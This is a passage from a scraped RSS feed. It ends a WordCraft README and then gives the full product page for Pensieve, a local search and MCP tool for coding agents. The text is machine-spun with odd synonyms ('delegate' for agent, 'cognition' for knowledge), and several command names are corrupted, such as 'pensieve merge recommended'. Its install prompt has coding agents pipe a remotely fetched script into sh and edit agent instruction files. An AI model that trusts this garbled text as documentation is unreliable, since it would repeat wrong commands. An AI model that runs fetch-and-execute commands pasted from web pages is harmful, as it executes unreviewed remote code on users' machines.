href="https://en.mycoding.id/category/technology" target="_blank" rel="nofollow">WordCraft</a> </p> <p dir="auto">WordCraft is dual-licensed under <a href="https://en.mycoding.id/category/technology" target="_blank">MIT</a> or <a href="https://en.mycoding.id/category/technology" target="_blank">Apache-2.0</a>, at your option. Copyright (c) 2026 ArtCraft Team and the WordCraft contributors. Required notices are in <a href="https://en.mycoding.id/category/technology" target="_blank">NOTICE</a>.</p> <p dir="auto">Bundled fonts, icons, images and another resources keep their own open licenses; all one is listed with its author, origin and licence in <a href="https://en.mycoding.id/category/technology" target="_blank">ATTRIBUTION.md</a>.</p> <p dir="auto">The orthography dictionary and hyphenation arrive from Grady Ward's public-domain Moby Hyphenator II word list. The example documents and templates are first content written for WordCraft.</p> <p dir="auto">The ArtCraft name, wordmark and logos in <a href="https://en.mycoding.id/category/technology" target="_blank">docs/brand/</a> are trademarks of the ArtCraft Team and are not covered by this license. They may be used lone unmodified, and lone as part of this repository and WordCraft, under <a href="https://en.mycoding.id/category/technology" target="_blank">docs/brand/LICENSE-brand.txt</a>. Forks and modified versions must eliminate them.</p> <p dir="auto"><sub>Microsoft and Microsoft Word are trademarks of the Microsoft collection of companies. Adobe, Photoshop, Illustrator, Premiere Pro, Lightroom, Acrobat, After Effects and InDesign are trademarks or registered trademarks of Adobe Inc. in the United States and/or another countries. WordCraft is an independent, open-source project and is not affiliated with, sponsored by or endorsed by Microsoft Corporation or Adobe Inc.; these names are used lone to depict the workflows it is compatible with.</sub></p> <p dir="auto"> <a href="https://en.mycoding.id/category/technology" target="_blank" rel="nofollow"><img alt="ArtCraft" src="https://github.com/storytold/wordcraft/raw/main/docs/brand/artcraft-mark.svg" width="28"></a><br> <sub>Made by the <a href="https://en.mycoding.id/category/technology" target="_blank" rel="nofollow">ArtCraft</a> squad and community.</sub> </p> </div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/an-open-source-clean-room-reimplementation-of-microsoft-word-in-pure-rust-72103</guid> <pubDate>Mon, 12 Oct 2026 02:57:39 +0700</pubDate> <author><![CDATA[support@mycoding.id (Putri Silvia)]]></author> </item> <item> <title><![CDATA[Local Indexing to reduce tool calling and token usage]]></title> <description><![CDATA[Local Indexing to reduce tool calling and token usage. Comments]]></description> <media:thumbnail url="https://tedhaley.ca/pensieve/og.png"/> <category><![CDATA[Technology]]></category> <link>https://en.mycoding.id/local-indexing-to-reduce-tool-calling-and-token-usage-72102</link> <content:encoded><![CDATA[<div> <div> <p>Search your files, repos and delegate sessions, locally, and provision your agents the finest environment for the job. One hunt points them to the few passages that matter, alternatively of grepping the entire disk. Fewer tool calls, lesser cost.</p> </div> <div aria-hidden="true"> <div> <div><svg></svg><p>notes from the pricing review<span></span></p></div> <p><b>Meaning</b> notes from the pricing review</p> <div> <p>Files</p> <div><p><b>Q3 planning.pdf</b><span>~/Documents/Planning &middot; <i>Pricing</i> tiers and discounts for annual plans</span></p></div> <div><p><b>Pricing review</b><span>Folder in ~/Documents &middot; notes.md, deck.pptx</span></p></div> <p>Code</p> <div><p><b>billing/invoices.py</b><span>acme-app/billing &middot; def apply_discount(plan, seats)</span></p></div> <p>Agent sessions</p> <div><p><b>Price the annual scheme correctly</b><span>Claude Code &middot; acme-app &middot; Sep 24</span></p></div> </div> </div> </div> <div> <p>Connects to the agents you already use</p> <ul><li>Claude Code</li><li>Codex</li><li>Cursor</li><li>Gemini CLI</li><li>Windsurf</li><li>Claude Desktop</li><li>VS Code</li><li>any MCP client</li></ul> </div> <div> <div> <p>Search everything, locally</p> <h2>One search. Every file, repo and session.</h2> <p>Press Control+Shift for a pane panel complete your documents, folders, git repositories and conversations alongside coding agents. Search by definition or by the exact words. Pick a result, tap Control, and choose what to do alongside it without touching the mouse.</p> </div> <div> <div> <p><b>Exact</b> "retry" &nbsp; <b>Meaning</b> payments &nbsp; <b>Without</b> draft</p> <div> <p>Code</p> <div><p><b>payments/retry.py</b><span>acme-app/payments &middot; max_<i>retry</i>_attempts = 5</span></p><p><span>exact</span></p></div> <div><p><b>Incident review.md</b><span>~/Documents/Ops &middot; cardstock declines, <i>retry</i> alongside backoff</span></p><p><span>exact</span></p></div> <div><p><b>Receipts</b><span>Folder in ~/Downloads</span></p></div> <div><p><b>Refactor the auth flow</b><span>Codex &middot; acme-app &middot; Oct 2</span></p></div> </div> </div> </div> <div> <div><p><span>pricing model</span></p><h3>By meaning</h3><p>Plain words discover what you meant, equal whenever the document never uses them.</p></div> <div><p><span>"rate limit"</span></p><h3>Exact words</h3><p>Quotes equivalent the expression exactly. Mix the two to position exact hits by meaning.</p></div> <div><p><span>-draft</span></p><h3>Leave things out</h3><p>A minus sign excludes a term or a quoted phrase.</p></div> <div><p><span>kind:code ext:pdf</span></p><h3>Narrow it down</h3><p>Filter to files, code or sessions, a document type, or a directory or repo alongside in:.</p></div> </div> </div> <div> <div> <p>Superpowers for your agents</p> <h2>The correct context. Not the entire disk.</h2> <p>Agents are lone as fine as the environment they're given. Connected complete MCP, your coding delegate asks Pensieve one inquiry and gets rear the few passages that matter, alongside document and line. It starts on the correct code in small tool calls.</p> </div> <div> <div role="img" aria-label=" without Pensieve the delegate greps the repo and says many entire files"> Without Pensieve <span>grep and read</span> <pre><span>&rsaquo;</span> Why do cardstock retries halt following a decline? <span>&#9679; Grep</span> "retry" in acme-app <span>212 matches</span> <span>&#9679; Read</span> payments/retry.py <span>&#9679; Read</span> payments/gateway.py <span>&#9679; Read</span> billing/invoices.py <span>&#9679; Read</span> tests/test_payments.py <span> &hellip; 36 additional files</span> <span> Still looking for the backoff rule&hellip;</span></pre> <div><p><span>Tool calls</span><b>1 grep &middot; 40 says and counting</b></p></div> </div> <div role="img" aria-label=" alongside Pensieve the delegate runs one hunt and says three applicable passages"> With Pensieve <span>one search</span> <pre><span>&rsaquo;</span> Why do cardstock retries halt following a decline? <span>&#9679; pensieve &middot; search</span> "card retry following decline" payments/retry.py:42 <span>stop on hard_decline</span> payments/gateway.py:118 <span>decline codes</span> Incident review.md <span>why we changed it</span> <span>&#9679; pensieve &middot; read</span> payments/retry.py:42 <span>Hard declines skip the retry queue.</span> <span>Maya Rivera owns this; see the Mar 4 review.</span></pre> <div><p><span>Tool calls</span><b>1 hunt &middot; 1 read</b></p></div> </div> </div> <p>Illustrative example. In the benchmark below, agents alongside Pensieve averaged 2.0 tool calls per lookup against 3.4 alongside grep, and answered following a sole call in 82 of 144 runs.</p> <div role="img" aria-label=" pensieve merge recommended connects Claude Code, Codex and Cursor"> <pre><span>~</span> <span>$</span> <span>pensieve merge recommended</span> claude-mcp: <span>on</span> codex-mcp: <span>on</span> cursor-mcp: <span>on</span> claude: <span>on</span> <span># "search before you grep" in ~/.claude/CLAUDE.md</span> pensieve-search: <span>on</span> claude-hook: <span>on</span> claude-repo-check: <span>on</span> Agents burden MCP servers whenever they start: restart any that are open to provision them Pensieve.</pre> </div> <div> <div><h3>Scoped to the job</h3><p>An delegate started in a repo sees that repo, its worktrees and its sessions. Name a range to provision it a few repos and a directory of specs.</p></div> <div><h3>Exact or by meaning</h3><p>Agents use the identical hunt you do: by meaning, by the exact identifier, or both, throughout code, docs and former sessions.</p></div> <div><h3>Works alongside your agent</h3><p>Claude Code, Codex, Cursor or any MCP client, complete stdio alongside pensieve mcp or complete HTTP. pensieve merge connects the agents on your Mac and adds a &ldquo;search before you grep&rdquo; obstacle and skills, including optional ones that item you to teammates who cognize the code.</p></div> </div> </div> <div> <div> <p>Measured, not promised</p> <h2>Fewer searches. Right document first.</h2> <p>We gave Claude Code the identical code-finding tasks alongside and without Pensieve: held-out tasks throughout genuine repos from 500 to 35,000 files, asked five ways, from plain descriptions to exact names and error messages. With Pensieve it finds additional of them, alongside small tool calls, and expenses small per lookup in all repo. Each hunt takes 0.1 to 0.2 seconds.</p> </div> <div> <p><b>131 / 144</b><span>runs that established the correct document alongside Pensieve, against 123 / 144 alongside grep alone</span></p> <p><b>43% fewer</b><span>tool calls per lookup: 2.0 alternatively of 3.4</span></p> <p><b>18% cheaper</b><span>per lookup: $0.041 alternatively of $0.050, and cheaper in all four repos</span></p> <p><b>21% faster</b><span>per lookup: 8.6 seconds alternatively of 10.9</span></p> </div> <div> <div> <h3>Right file, archetypal result</h3> <p>One search, before any agent: how frequently the answer is the top result.</p> <svg id="ch-first" viewbox="0 0 440 250" role="img" aria-label=" portion of tasks anywhere the correct document is the archetypal result, grep versus Pensieve, by query style"></svg> <p><span><i></i>One grep</span><span><i></i>Pensieve search</span></p> </div> <div> <h3>Agent disbursal per code lookup</h3> <p>Claude Sonnet in Claude Code, measured in four genuine repos. Pensieve expenses small in all repo, and saves the most in the biggest one.</p> <svg id="ch-cost" viewbox="0 0 440 250" role="img" aria-label=" delegate disbursal per lookup in four repos, grep versus Pensieve. Pensieve expenses 15% small in a 504-file repo, 6% small at 1,783 files, 14% small at 2,383 records and 28% small at 34,847 files."></svg> <p><span><i></i>Grep, Glob and Read</span><span><i></i>With Pensieve</span></p> </div> </div> <p>Method: Claude Sonnet run headless through Claude Code. Tasks are generated from the code and graded on the document found. &ldquo;With Pensieve&rdquo; is the default delegate tool set affirmative the instructions obstacle from pensieve integrate, measured alongside Pensieve 0.5.6. Both setups ran the identical 72 held-out tasks throughout four repos (504, 1,783, 2,383 and 34,847 files), twice each, in one batch, since the disbursal depends on Claude&rsquo;s immediate cache at the time. These tasks were never used to tune Pensieve. Costs are Claude Code&rsquo;s reported API expenses at catalog prices. Pensieve used 16% small tokens. The &ldquo;right file, archetypal result&rdquo; diagram uses the identical held-out tasks: a sole grep wins on exact error messages, and Pensieve wins on everything else. The benchmark scripts are open origin in <a href="https://en.mycoding.id/category/technology" target="_blank">bench/</a>; run them on your own repos.</p> </div> <div> <div> <p>Know who to ask</p> <h2>See who owns what.</h2> <p>Every repo as a map, alongside git accuse for all line. Ask concerning any topic and get the group alongside the most domain knowledge, affirmative what all teammate has been operating on lately. The fastest answer is frequently a conversation.</p> </div> </div> <div> <div aria-hidden="true"> <div> <p>WHO KNOWS ABOUT &ldquo;BILLING RETRIES&rdquo;</p> <p><span>MR</span><span>Maya Rivera</span><span><i></i></span></p> <p><span>JO</span><span>Jonah Okafor</span><span><i></i></span></p> <p><span>YOU</span><span>You</span><span><i></i></span></p> </div> </div> </div> <div> <div> <div><h3>Ownership from blame</h3><p>Who wrote all area, valued by the lines that are motionless there today.</p></div> <div><h3>Domain knowledge</h3><p>Ask concerning a topic, not a file, and get the group whose code is most concerning it.</p></div> <div><h3>Team activity</h3><p>What all teammate shipped in the final 90 days, and the areas next to your activity you haven't explored.</p></div> </div> </div> <div> <div> <p>Find cognition gaps</p> <h2>Know anywhere the cognition left.</h2> <p>When the group who wrote a part of the codebase are no longer energetic in it, that cognition is at risk. Pensieve flags those areas, shows how few group motionless cognize them, and who knows them finest today.</p> </div> <div> <div role="img" aria-label="Example cognition gap cardstock for a fictional billing area"> <div><p>acme-app / billing/tax</p><p><span>1 energetic expert</span></p></div> <p>2,140 lines &middot; final important alter 7 months ago</p> <p><span>Not energetic current &middot; 78%</span><span>Priya Nair &middot; 14%</span><span>Others &middot; 8%</span></p> <div> <div><p><span>DK</span></p><p><b>Daniel Kim</b><span>Not energetic current since March</span></p><p><span>58%</span></p></div> <div><p><span>LS</span></p><p><b>Lena Schultz</b><span>Not energetic current since final year</span></p><p><span>20%</span></p></div> <div><p><span>PN</span></p><p><b>Priya Nair</b><span>Active this duration &middot; knows it finest today</span></p><p><span>14%</span></p></div> </div> <p><b>Suggestion:</b> brace alongside Priya before changing tax rules, and document the rounding logic in vat.py.</p> </div> <div> <div><h3>Bus aspect at a glance</h3><p>For all area of a repo: how much of the code was written by group motionless energetic there, and how many of them there are.</p></div> <div><h3>Who motionless knows it</h3><p>The energetic group alongside the most lines in that area, so you cognize who to drag in before you alter it.</p></div> <div><h3>Plan the handover</h3><p>Spot gaps before an event does. Point your delegate at the area to outline the missing docs.</p></div> </div> </div> <p>Example alongside fictional names and numbers.</p> </div> <div> <div> <p>Always current</p> <h2>Edit a file. Search it seconds later.</h2> <p>Pensieve watches your folders, repos and delegate sessions and re-indexes what changed. Uncommitted edits count, and all worktree is tracked by branch, so your agents never activity from old context.</p> </div> <div role="list" aria-label="Example of live indexing"> <div role="listitem"><p><b>payments/retry.py</b><span>Uncommitted alter in acme-app</span></p><p><span>now</span></p></div> <div role="listitem"><p><b>New worktree: fix-backoff</b><span>Files that differ from main, tagged alongside their branch</span></p><p><span>12 s ago</span></p></div> <div role="listitem"><p><b>Q3 planning.pdf</b><span>Saved to ~/Documents/Planning</span></p><p><span>1 min ago</span></p></div> <div role="listitem"><p><b>Price the annual scheme correctly</b><span>New turns in a operating Claude Code session</span></p><p><span>2 min ago</span></p></div> </div> </div> <div> <div> <p>Private by design</p> <h2>Your activity stays on your Mac.</h2> <p>Indexing and hunt run locally. You decide what gets indexed, and AI is entirely optional.</p> </div> <div> <div><h3>Runs locally</h3><p>An on-device embedding example and a local indicator in ~/.pensieve. Its server answers lone this Mac, not your network or another websites. No account, no haze service.</p></div> <div><h3>Switch any origin off</h3><p>Agents, folders, repos and apps all have a switch. Turning one off removes what it indexed.</p></div> <div><h3>Secrets skipped</h3><p>Password-manager exports, keys, .env records and credentials are never indexed.</p></div> <div><h3>AI if you desire it</h3><p>Summaries and insights are optional. Pick who writes them, or depart it off:</p> <div> <p>Built-in Qwen 3.5 9B <span>Local</span></p> <p>LM Studio or local server <span>Local</span></p> <p>Claude Code or Codex <span>Cloud</span></p> <p>Off <span>Local</span></p> </div> </div> </div> </div> <div> <div> <h2>Get Pensieve.</h2> <p>Free and open source. Your coding delegate does the setup.</p> </div> <div> <h3>Ask your coding agent.</h3> <p>Paste this into Claude Code, Codex, Cursor, Gemini CLI, Qwen Code, Windsurf or VS Code.</p> <p>Install Pensieve on my Mac by operating sh -c "$(curl -fsSL https://tedhaley.ca/pensieve/install.sh)", afterward run pensieve merge recommended. Then run pensieve setup, display me what it found, ask me which sources to index, and run pensieve setup alongside my choices. Open the Pensieve app and inform me whenever it's ready.</p> <ol> <li><i>1</i><b>Paste the prompt</b>Into whichever coding delegate you use.</li> <li><i>2</i><b>Your delegate installs it</b>The app, afterward Pensieve for all delegate on your Mac.</li> <li><i>3</i><b>Choose what to index</b>Your delegate asks. Nothing is indexed until you choose.</li> <li><i>4</i><b>Press Control and Shift</b>Search during indexing runs. It uses a lot of energy, so plug in.</li> </ol> <p>Version 0.5.9 &middot; Apple Silicon &middot; macOS 14 or later</p> </div> </div> <div> <p><h2>Questions.</h2></p> <div> What does Pensieve search?<p>Your records and folders (Documents, Desktop, Downloads and any directory you add), your git repositories including uncommitted changes and worktrees, and your Claude Code, Codex and Qwen Code sessions. Obsidian vaults too, and optionally Apple Notes. Everything is indexed and searched on your Mac.</p> How does Pensieve assistance my agent?<p>Without it, a coding delegate frequently greps the repo and says many entire records to discover what matters, and all document it says expenses tokens. With Pensieve connected complete MCP, the delegate asks one inquiry and gets rear the most applicable passages alongside their document and line, so it starts on the correct code in small tool calls. In our benchmark that made all lookup 18% cheaper and 21% faster; see the measured results above.</p> Does Pensieve create Claude Code cheaper?<p>In our benchmark, Claude Code alongside Pensieve established the correct document in 131 of 144 runs, against 123 alongside grep alone, alongside 43% small tool calls. Each lookup disbursal 18% small overall, and 6&ndash;28% small in all of four repos from 504 to 34,847 files. The benchmark scripts are open source, so you can run them on your own code.</p> How do I get my delegate to use Pensieve alternatively of grep?<p>Agents grep by habit. The instal immediate runs pensieve merge recommended, which adds a abbreviated &ldquo;search before you grep&rdquo; division to the instructions records of Claude Code, Codex and Gemini CLI, affirmative a hunt accomplishment and two hooks for Claude Code. You can additionally toggle these on in Settings &rarr; Agents. With it, the delegate used Pensieve in all 144 runs of our latest benchmark.</p> Which agents activity alongside Pensieve?<p>Any MCP client. pensieve merge recommended connects Claude Code, Codex, Cursor, Gemini CLI, Windsurf, Claude Desktop and VS Code for you. Other agents can use pensieve mcp complete stdio, or HTTP. Optional skills additionally propose which teammates cognize an area and assistance scheme new code about what already exists.</p> How does it discover cognition gaps?<p>Pensieve says git accuse and latest commit former for all area of a repo. Areas anywhere most lines were written by group alongside no latest commits there are flagged, alongside alongside how many energetic group cognize the area and who among them knows it best.</p> Does item depart my Mac?<p>Your files, code and sessions don't. Indexing and hunt run on your Mac. Pensieve lone downloads its models and checks GitHub for updates, which you can rotate off. The elimination is if you choose Claude Code or Codex to compose optional AI insights; those are labelled Cloud. The built-in model, a local server akin LM Studio, or no AI at all keep everything local.</p> Do I need an AI model?<p>No. Search, delegate context, ownership and cognition gaps all activity without one. AI insights are optional: choose the built-in Qwen 3.5 9B, LM Studio, Claude Code, Codex, or depart it off.</p> Is Pensieve free?<p>Yes. It's liberated and open origin under the MIT license. The code is on <a href="https://en.mycoding.id/category/technology" target="_blank">GitHub</a>.</p> Why does macOS ask before beginning it?<p>The app isn't notarized yet. If macOS blocks it, open System Settings &rarr; Privacy &amp; Security and click Open Anyway. You lone do this once.</p> Does it activity on Intel Macs or Linux?<p>The app needs Apple Silicon. On Linux and Intel Macs, the identical immediate installs the backend and the browser visualizer. An Intel Mac additionally gets the hunt panel if the Xcode command-line tools are installed.</p> How do I uninstall it?<p>First run pensieve merge all --remove to disconnect your agents. Then discontinue Pensieve, drag it to the Trash, and delete ~/.pensieve, ~/.local/share/uv/tools/pensieve and ~/.local/bin/pensieve. Its models are in ~/.cache/huggingface.</p> </div> </div> </div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/local-indexing-to-reduce-tool-calling-and-token-usage-72102</guid> <pubDate>Mon, 12 Oct 2026 01:03:53 +0700</pubDate> <author><![CDATA[support@mycoding.id (Adi Gunawan)]]></author> </item> </channel> </rss>